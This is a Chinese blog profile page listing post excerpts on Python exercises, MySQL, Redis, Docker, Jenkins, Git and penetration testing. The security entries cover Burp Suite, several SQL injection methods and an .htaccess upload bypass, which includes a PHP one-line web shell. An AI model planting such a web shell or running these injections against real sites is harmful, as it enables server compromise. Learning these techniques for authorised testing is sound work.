- 博客(52)
- 收藏
- 关注
原创 练习题及答案(装饰器)
题目:定义-一个计算函数运行时间的装饰器(计算时间使用time模块实现)import time def counttime(func): def fun(): strattime = time.time() print(strattime) func() endtime = time.time() print(endtime)
2021-07-23 11:11:11
347
原创 测试开发-晋级之路4-函数进阶(闭包 装饰器)***
一、闭包在上面我们见过了再函数中调用函数本身。那么在函数中可不可以定义一个函数。问题需求:如何函故外部调用函数内部定义的函数?问题的引入: ,到底什么是闭包?闭包的概念:一个完整的闭包须满足一下三个条件:1.函数中嵌套一个函数2.外层函数返回内层嵌套函数的变量名3.内层函数对外部作用域有一个非全局的变量进行引用函数内部是否可以定义函数?可以def fun(): print("fun") def fun2(): print("fun
2021-07-07 07:25:03
171
2
原创 测试开发-晋级之路3-函数进阶(递归函数、纯函数、匿名函数、偏函数)
一、递归函数问题一:函数内部可以调用自身这个函数吗?递归函数:在函数中调用函数自身,我们把这样的函数叫做递归函数递归边界:退出递归的终止条件案列需求一:通过递归函数实现的任意数的阶乘通过递归函数实现的任意数的阶乘def jiecheng(n): #判断输入数值是否大于0,小于0时会无限递归 if n > 0: #判断输入值是否为1,为1时返回
2021-05-27 23:15:58
170
1
原创 练习题及答案(推导式)
练习题:1、使用列表推倒式生成一个[0,5 ,10,15,20,. …50]的列表**li = [i for i in range (0,51,5)]print(li)2、使用列表推到式生成一个[page1, page2,page3. . . .page10]的列表pa = ['page{}'.format(i) for i in range(1,1001) ]print(pa)3、使用字典推倒是将下面字符串格式的数据,改成字典类型的数据cook_str="BIDUPSID=D07275
2021-05-25 17:22:09
142
原创 测试开发-晋级之路2(推导式、迭代器和生成器)
一、推导式1.列表推导式需求:如何快速生成0-100的列表方法一:while循环list1 = []while i in range(101): list1.append(i) i += 1print('list1的值为',list1)方法二:FOR循环list2 = []for i in range(101): list2.append(i)print('list2的值为:',list2)方法三:列表推导式list3 = [i for i in rang
2021-05-25 10:53:29
69
1
原创 测试开发-晋级之路1(python数据类型比较解析)
python的数据类型可以分为三种:数值:number序列:字符串 元祖 列表散列:字典、集合 #特征 内部元素是无序的(特别注意:python3.7之后字典不再无序,字典变成了有序的)元祖和列表的比较:占用内容方面:列表为可变的序列,在分配时,会先预分配一个空间,当数值超过一定数量时,会进行扩容。元祖在分配空间时为定值,占用内容空间更小。速度方面:可以通过ipython来进行耗时的测试deafaulttimer默认跑一千万次list = ['1','2','3','4','5']
2021-04-13 08:07:34
125
原创 如何深入浅出理解MYSQL索引
什么是索引数据库索引是一种为了加速数据表中行记录检索的数据结构。数据库中的索引存储于磁盘中,特别是关系库中的索引。1.mysql数据存储在哪?磁盘2.查询速度比较慢,一般情况卡在哪里?IO3.去磁盘读取数据的时候,是用多少读取多少吗?不是4、索引存储在哪里?磁盘,查询数据的时候会优先将索引加载到内存中。5、索引在存储的时候需要什么信息?需要存储什么字段值?KEY:实际数据行中存储的值文件物理地址offset:偏移量6、这种格式的数据要使用什么样的数据结构来进行存储K-V可实
2020-12-14 19:38:21
219
原创 从SpringCloud-Eureka理解注册服务中心
服务注册中心对整个微服务架构起着最核心的整合作用,因此对Eureka还是有很大的必要进行深入研究。CAP著名的CAP理论指出,一个分布式系统不可能同时满足C(一致性)、A(可用性)和P(分区容错性)。由于分区容错性在是分布式系统中必须要保证的,因此我们只能在A和C之间进行权衡。在此Zookeeper保证的是CP, 而Eureka则是AP。CAP分布式开发中有一个著名的CAP原理,C(一致性),A(可用性),P(分区容错性),这三者在开发中不可兼得,因此我们只能在A和C之间进行权衡。在此Zookeepe
2020-12-02 11:50:10
351
原创 看完之后,写正则表达式再也不是让我头疼的问题了
引言不管在学习哪一门程序设计语言都会用到正则表达式,它已经融入到计算机的方方面面,本文主要讲解正则表达式的最基本使用方法。正则表达式(regular expression)就是用一个“字符串”来描述一个特征,然后去验证另一个“字符串”是否符合这个特征。比如 表达式“ab+” 描述的特征是“一个‘a’ 和 任意个’b’,那么’ab,‘abb’,'abbbb’都符合这个特征。正则表达式可以用来:(1)验证字符串是否符合指定特征,比如验证是否是合法的邮件地址。(2)用来查找字符串,从一个长的文本中查找符
2020-12-01 10:38:29
205
原创 用python实现二分法
二分法查找,也称为折半法,是一种在有序数组中查找特定元素的搜索算法。二分法查找的思路如下:(1)首先,从数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步。(2)如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复步骤(1)的操作。设置下标的方式来进行实现,第二次也从对应部分的中间进行取值。当目标数大于中间数时,设置low下标等于中间数下标+1,h不变,在此区间进行查找;当目标数小于中间数时,low不变,h设置为k-1,在此区间进行查找
2020-11-25 14:31:31
3781
原创 快递生活让我瞬间明白了Redis非阻塞I/O多路复用机制
小曲在S城开了一家快递店,负责同城快送服务。小曲因为资金限制,雇佣了一批快递员,然后小曲发现资金不够了,只够买一辆车送快递。经营方式一客户每送来一份快递,小曲就让一个快递员盯着,然后快递员开车去送快递。慢慢的小曲就发现了这种经营方式存在下述问题:1、几十个快递员基本上时间都花在了抢车上了,大部分快递员都处在闲置状态,谁抢到了车,谁就能去送快递2、随着快递的增多,快递员也越来越多,小曲发现快递店里越来越挤,没办法雇佣新的快递员了3、快递员之间的协调很花时间综合上述缺点,小曲痛定思痛,提出了下面的
2020-11-23 16:28:30
588
原创 全图文教你Chrome浏览器如何加入brupsuite添加ssl证书(一看就会)
1、开启burpsuite,开启代理,访问http://burp/如果无法访问进行如下操作2、保存证书3、添加证书1)导入证书2)导出证书3)导入设置浏览器代理
2020-11-10 14:26:52
2611
1
原创 python3 list序列相关函数
这部分的内容不仅仅是用于列表,一般来说其他的序列(比如元祖、字典、集合等)也是可以进行使用的。(1)any(list):列表list中有一个元素为逻辑真,则返回True,全为假时则返回False。注意any([])返回的是False,在编程时要考虑序列为空的情况。(2)all(list):列表在所有元素都为真时则返回True,否则返回False。注意all([])返回的是True,在编程时要考虑序列为空的情况。(3)max(list)或min(list):返回列表list中的最大值或最小值。(4)
2020-10-17 20:08:05
268
原创 Docker 命令查询(保存好,指不定啥时候就用到了)
Docker 命令查询一张图总结 Docker 的命令container事件状态图docker命令分布图基本语法Docker 命令有两大类,客户端命令和服务端命令。前者是主要的操作接口,后者用来启动 Docker Daemon。客户端命令:基本命令格式为 docker [OPTIONS] COMMAND [arg…] ;服务端命令:基本命令格式为 dockerd [OPTIONS] 。可以通过 man docker 或 docker help 来查看这些命令。客户端命令选项–conf
2020-10-16 16:54:05
204
原创 宽字节注入
首先介绍宽字节注入的原理:宽字节注入的产生是字符集不一致造成的,如:前端使用UTF-8编码,数据库使用GBK编码,在进行解码时,数据库将两位的UTF-8编码读取成一位GBK编码,从而绕过服务器的转义函数,进行的sql注入。GBK编码GBK编码,是对GB2312编码的扩展,用于存储汉字。GBK编码采用双字节编码方案,其编码范围:8140- FEFE。编码表:http://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php转义函数认识一下用到的转义函数addslashes
2020-10-15 13:17:19
714
原创 docker常用操作解析(详细版)
容器是 Docker 又一核心概念。简单的说,容器是独立运行的一个或一组应用,以及它们的运行态环境。对应的,虚拟机可以理解为模拟运行的一整套操作系统(提供了运行态环境和其他系统环境)和跑在上面的应用。启动容器启动容器有两种方式,一种是基于镜像新建一个容器并启动,另外一个是将在终止状态( stopped )的容器重新启动。因为 Docker 的容器实在太轻量级了,很多时候用户都是随时删除和新创建容器。新建并启动首先来了解一下当利用 docker run 来创建容器时,Docker 在后台运行的标准
2020-10-13 17:29:55
495
原创 dockerfile指令介绍及使用
从刚才的docker commit的学习中﹐我们可以了解到﹐镜像的定制实际上就是定制每一层所添加的配置﹑文件。如果我们可以把每一层修改﹑安装﹑构建操作的命令都写入一个脚本,用这个脚本来构建﹑定制镜像﹐那么之前提及的无法重复的问题﹑镜像构建透明性的问题﹑体积的问题就都会解决。这个脚本就是Dockerfile。Dockerfile是一个文本文件﹐其内包含了一条条的指令(Instruction),每一条指令构建一层,因此每一条指令的内容﹐就是描逑该层应当如何构建。还以之前定制nginx镜像为例,这次我们
2020-10-12 21:11:49
599
2
原创 100题练习记录(八)
这次一起都写了吧,感觉部分的题目还是有问题的,然后一部分题目存在重复,共计98题。Question 71:Please write a binary search function which searches an item in a sorted list. The function should return the index of element to be searched in the list.Hints:Use if/elif to deal with conditions.im
2020-10-11 17:00:00
843
原创 100题练习记录(七)
Question 61:Write a program to read an ASCII string and to convert it to a unicode string encoded by utf-8.Hints:Use unicode() function to convert.s = input("")u = s.encode("utf-8")print(u)Question 62:Write a special comment to indicate a Python s
2020-10-10 20:16:32
599
原创 100题练习记录(六)
Question 51:Define a class named Circle which can be constructed by a radius. The Circle class has a method which can compute the area.Hints:Use def methodName(self) to define a method.class Circle(object): def __init__(self,r): self.r = r
2020-10-09 19:31:12
536
2
原创 100题练习记录(五)
Question 31:Define a function that can accept an integer number as input and print the “It is an even number” if the number is even, otherwise print “It is an odd number”.Hints:Use % operator to check if a number is even or odd.def check_num(n): if
2020-10-08 17:16:01
526
原创 python 100题练习记录(四)
Question 21Level 3Question£ºA robot moves in a plane starting from the original point (0,0). The robot can move toward UP, DOWN, LEFT and RIGHT with a given steps. The trace of robot movement is shown as the following:UP 5DOWN 3LEFT 3RIGHT 2¡The n
2020-10-04 17:48:23
525
原创 python 100题练习记录(三)
Question 13Level 2Question:Write a program that accepts a sentence and calculate the number of letters and digits.Suppose the following input is supplied to the program:hello world! 123Then, the output should be:LETTERS 10DIGITS 3Hints:In case of
2020-10-03 21:54:53
1532
2
原创 python 100题练习记录(二)
Question 7Level 2Question:Write a program which takes 2 digits, X,Y as input and generates a 2-dimensional array. The element value in the i-th row and j-th column of the array should be i*j.Note: i=0,1…, X-1; j=0,1,¡Y-1.ExampleSuppose the following
2020-10-02 16:39:12
520
原创 python 100题练习记录(一)
Question 1Level 1Write a program which will find all such numbers which are divisible by 7 but are not a multiple of 5,between 2000 and 3200 (both included).The numbers obtained should be printed in a comma-separated sequence on a single line.list = [
2020-10-01 16:45:40
505
原创 windows 10 docker安装及使用
关于docker和虚拟机的比较:一、启用Hyper-V环境准备Docker for Windows是一个Docker Community Edition(CE)应用程序。Docker for Windows安装包包含了在Windows系统上运行Docker所需的一切。如果你不想装虚拟机,想直接在你的Windows操作系统中安装与学习使用docker,那么你首先得查看你的系统是否满足Docker for Windows的安装与使用要求。1、Docker for Windows的当前版本运行在64位Wi
2020-09-30 13:52:28
659
原创 linux环境下搭建jenkins+sonarqube+sonarscanner,一键完成构建扫描
安装jenkinsjenkins插件下载地址:http://updates.jenkins-ci.org/download/plugins/sonarscanner下载地址:https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/详解一、基本配置:1、安装:Jenkins 安装部署方式(以下4种方式后续都会写到):1)直接下载war包jenkins.war部署到servlet容器中,如tomcat,下载地址https://
2020-09-08 14:04:37
1153
原创 SQL二次解码注入
ur|编码是一种浏览器用来打包表单输入的格式。 ur|编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%" 。比如"\”, 它的ascii码是92 , 92的十六进制是5c ,所以"" 的ur|编码就是%5c。转义函数addslashes()mysql real escape. string()mysqL escape. string() php5.3以及之后就废除了。 。addslashes()函数对单引号(’)、双引号(")、反斜线()与\x00 ( NULL字符)进
2020-08-19 14:31:34
444
原创 正则表达式()、[]、{}的区别
圆括号()是组,主要应用在限制多选结构的范围/分组/捕获文本/环视/特殊模式处理方括号是单个匹配 字符集/排除字符集/命名字符集正则表达式的() [] {} 有着不同的意思。() 是为了提取匹配字符串的,表达式中有几个()就有几个相应的匹配字符串(\s*)表示连续空格的字符串[] 是定义匹配的字符范围。比如[a-zA-Z0-9]表示相应位置的字符要匹配英文字符和数字。[\s表示空格或者号]{}一般是用来匹配的长度。比如\s{3}表示匹配三个空格,\s[1,3]表示匹配1到3个空格(0-9)匹配
2020-08-19 13:50:02
1336
原创 sonar 报{“error”:“Report is not available. At least one analysis is required after …”}
今天使用sonar-scanner进行扫描后,上传远程服务端,遇到了一个大坑,本地扫描没有问题,但是在下载报告时无法下载对应的pdf文件,提示:{“error”:“Report is not available. At least one analysis is required after …”},通过查看本地日志显示ERROR: Something went wrong storing the PDF at server side,后面跟着html内容,不显示报告上传成功。(同事的可以上传报告成功)
2020-08-18 15:30:06
7312
17
原创 .htaccess文件利用,一句话木马上传
请遵守国家相应法律法规,不要做危害公共安全的行为。编写代码如下:SetHandler application/x-httpd-http将文件改名问可上传文件类型。抓包捕获请求,将filename更改为.htaccess,发送上传成功后,上传一个探针,探针内容如下:<?php phpinfo();?>将文件改成jpg后进行上传操作,上传成功后进入对应页面进行查看:编写一句话木马如下:<?php @eval($_POST['joker']);?>并改名jpg
2020-08-06 14:28:15
1692
1
原创 SQL注入-堆叠注入
堆叠注入定义Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。堆叠注入原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而un
2020-07-26 13:13:23
514
原创 http请求头sql注入
请遵守国家相关法令法规,在做安全测试前先进行申请,不要做有害公共利益的行为。HTTP请求头我们可以通过chrome的F12开发者工具看到,一般的请求头内容如下:HTTP请求头我们主要关注四个部分:分别是referer、user-agent、cookie、X-Forwarded-Forreferer:该部分表示为请求来源页面,如对该部分进行设置可限制来源页面不能对网站资源进行访问。通常该部分的内容不会带入数据库。user-agent:该部分表名请求来源的设备相关信息,标明来源是电脑、移动端设备。
2020-07-26 13:10:59
1302
原创 BRUPSUITE各模块简介即使用(五)----REPEATER、SEQUENCER、DECODER、COMPARER、EXTENDER(其他模块)
REPEATER:一、简介Burp Repeater 是一个手动修改并补发个别 HTTP 请求,并分析他们的响应的工具。它最大的用途就是和其他 Burp Suite 工具结合起来。你可以从目标站点地图,从 Burp Proxy 浏览记录,或者从 Burp Intruder 攻击结果上的请求,发送到 Repeater 上,并手动调整这个请求来微调对漏洞的探测或攻击。二、模块说明1.可以从Proxy history、site map、Scanner等模块中右键菜单send to repeater发送到
2020-07-26 12:49:09
414
原创 BRUPSUITE各模块简介即使用(四)----INTRUDER(重点功能)
一、简介Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。你可以使用 Burp Intruder 方便地执行许多任务,包括枚举标识符,获取有用数据,漏洞模糊测试。合适的攻击类型取决于应用程序的情况,可能包括:缺陷测试:SQL 注入,跨站点脚本,缓冲区溢出,路径遍历;暴力攻击认证系统;枚举;操纵参数;拖出隐藏的内容和功能;会话令牌测序和会话劫持;数据挖掘;并发攻击;应用层的拒绝服务式攻击。二、模块
2020-07-20 22:54:54
504
原创 BRUPSUITE各模块简介即使用(三)----SCANNER(重点功能)
简介Burp Scanner 是一个进行自动发现 web 应用程序的安全漏洞的工具。它是为渗透测试人员设计的,并且它和你现有的手动执行进行的 web 应用程序半自动渗透测试的技术方法很相似。使用的大多数的 web 扫描器都是单独运行的:你提供了一个开始 URL,单击‖go‖,然后注视着进度条的更新直到扫描结束,最后产生一个报告。Burp Scanner 和这完全不同,在攻击一个应用程序时它和你执行的操作紧紧的结合在一起。让你细微控制着每一个扫描的请求,并直接反馈回结果。Burp Scanner 可以执
2020-07-20 22:09:49
257
原创 BRUPSUITE各模块简介即使用(二)----SPIDER(重点模块)
Burp Spider 是一个映射 web 应用程序的工具。它使用多种智能技术对一个应用程序的内容和功能进行全面的清查。Burp Spider 通过跟踪 HTML 和 JavaScript 以及提交的表单中的超链接来映射目标应用程序,它还使用了一些其他的线索,如目录列表,资源类型的注释,以及 robots.txt 文件。结果会在站点地图中以树和表的形式显示出来,提供了一个清楚并非常详细的目标应用程序视图。Burp Spider 能使你清楚地了解到一个 web 应用程序是怎样工作的,让你避免进行大量的手动
2020-07-20 20:41:58
315
原创 BRUPSUITE各模块简介即使用(一)----TARGET、Proxy(重点功能)
BRUPSUITE的各个模块大致可以进行如下的划分:网站的分析,漏洞的利用和工具的配置。模块一:target1.1sitemap 站点地图你使用proxy抓取一些信息之后,会在target模块中生成站点信息。左边信息栏中,会根据proxy模块信息和被动爬虫信息,自动生成一个站点地图,以树状结构表示该站点的不完整的简单目录结构。中间是访问过的网站链接,下面可以查看网站的会话内容,左边的安全提示和安全建议会在使用其他模块后生成。点击filter分别是(1)按请求的类型进行过滤:只显示在作用
2020-07-20 20:16:52
874
原创 lambda函数
用lambda关键词能创建小型匿名函数。这种函数得名于省略了用def声明函数的标准步骤。lambda函数的语法只包含一个语句,如下:lambda [arg1 [,arg2,…argn]]:expression如下实例:sum = lambda arg1, arg2: arg1 + arg2调用sum函数print("Value of total : " % sum( 10, 20 ))print("Value of total : "% sum( 20, 20 ))以上实例输出结果:Va
2020-06-19 10:27:15
247
原创 Git远程操作详解(clone、remote、fetch、pull、push)
Git是目前最流行的版本管理系统,学会Git几乎成了开发者的必备技能。Git有很多优势,其中之一就是远程操作非常简便。本文详细介绍5个Git命令,它们的概念和用法,理解了这些内容,你就会完全掌握Git远程操作。git clonegit remotegit fetchgit pullgit push本文针对初级用户,从最简单的讲起,但是需要读者对Git的基本用法有所了解。同时,本文覆盖了上面5个命令的几乎所有的常用用法,所以对于熟练用户也有参考价值。git一、git clone远程操作的第
2020-06-18 16:03:27
2014
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人